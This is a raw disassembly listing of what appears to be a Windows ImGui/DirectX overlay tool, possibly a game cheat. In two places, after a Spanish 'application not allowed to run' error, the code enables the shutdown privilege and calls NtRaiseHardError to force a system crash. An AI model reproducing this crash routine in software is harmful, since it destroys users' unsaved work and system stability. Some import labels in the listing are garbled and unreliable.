mov rdx, qword [0x1401da150]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x1401a4480]
cmp dword [rbx + 0x48c0], 0
jg 0x14004bcd5
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
xor r15d, r15d
mov rcx, qword [rax]
mov eax, r15d
add rcx, 0x48
cmp byte [rcx], r15b
cmovne rax, rcx
mov rcx, rax
call fcn.1400396a0
mov rcx, qword [0x1401da158]
xor r8d, r8d
mov edx, esi
mov rax, qword [rcx]
call qword [rax + 0x40]
lea edx, [r15 + 0x30]
mov rcx, r13
call fcn.14011b97c
jmp 0x140046bdf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error:_No_se_permite_ejecutar_la_aplicaci
call fcn.14004d9e0
lea rdx, [0x14004dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r8d, r8d
mov byte [rsp + 0x60], 0
lea r9, [rsp + 0x60]
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp - 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov edx, Ordinal_50
mov rcx, r13
call fcn.14011b97c
mov eax, esi
movaps xmm14, xmmword [rsp + 0x1170]
mov r13, qword [rsp + 0x1208]
movaps xmm12, xmmword [rsp + 0x1190]
movaps xmm11, xmmword [rsp + 0x11a0]
movaps xmm10, xmmword [rsp + 0x11b0]
movaps xmm9, xmmword [rsp + 0x11c0]
movaps xmm8, xmmword [rsp + 0x11d0]
movaps xmm7, xmmword [rsp + 0x11e0]
movaps xmm6, xmmword [rsp + 0x11f0]
movaps xmm15, xmmword [rsp + 0x1160]
mov r14, qword [rsp + 0x1200]
mov r12, qword [rsp + 0x1210]
mov rsi, qword [rsp + 0x1238]
movaps xmm13, xmmword [rsp + 0x1180]
mov rbx, qword [rsp + 0x1230]
mov rdi, qword [rsp + 0x1240]
add rsp, 0x1218
pop r15
pop rbp
ret
mov edx, Ordinal_50
mov rcx, r13
call fcn.14011b97c
mov rbx, qword [0x1401a4480]
test rbx, rbx
je 0x14004be4a
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x14004be6e
jmp 0x14004be4d
mov rdi, r15
mov r8d, 0x241
lea rdx, str.C:UsersAdministratorDesktopKirbaw_External_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401a4480]
test rbx, rbx
jne 0x14004be94
mov r8d, 0xfff
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401a4480]
call fcn.14003a630
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14004bea8
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14004beb6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14004bec5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x1401a4480]
mov qword [rbx + 0x90], r15
mov qword [rbx + 0xa0], r15
test rax, rax
je 0x14004bee5
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x1401a4480]
test rax, rax
je 0x14004bf08
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14004bf2c
jmp 0x14004bf0b
mov rbx, r15
mov r8d, 0xa8
lea rdx, str.C:UsersAdministratorDesktopKirbaw_External_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401a4480]
test rax, rax
jne 0x14004bf52
mov r8d, 0xfff
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401a4480]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x14004bf6c
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1401a4480]
mov qword [rdi + 0x80], r15
mov qword [rdi + 0x90], r15
test rax, rax
je 0x14004bf85
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1401a4480]
mov qword [0x1401a4480], rbx
call fcn.1400063e0
mov qword [0x1401a4480], r15
test rbx, rbx
je 0x14004bfd0
mov rcx, rbx
call fcn.14001f090
mov rax, qword [0x1401a4480]
test rax, rax
je 0x14004bfc7
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.14004c0a0
mov rcx, qword [0x1401a44b0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x998]
mov rcx, qword [rbp + 0x9c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
jmp 0x14004bd90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error:_No_se_permite_ejecutar_la_aplicaci
call fcn.14004d9e0
lea rdx, [0x14004dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r8d, r8d
mov byte [rsp + 0x60], 0
lea r9, [rsp + 0x60]
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp - 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
jmp 0x14004bd8e
call fcn.14002f420
int3
call fcn.140002aa0
int3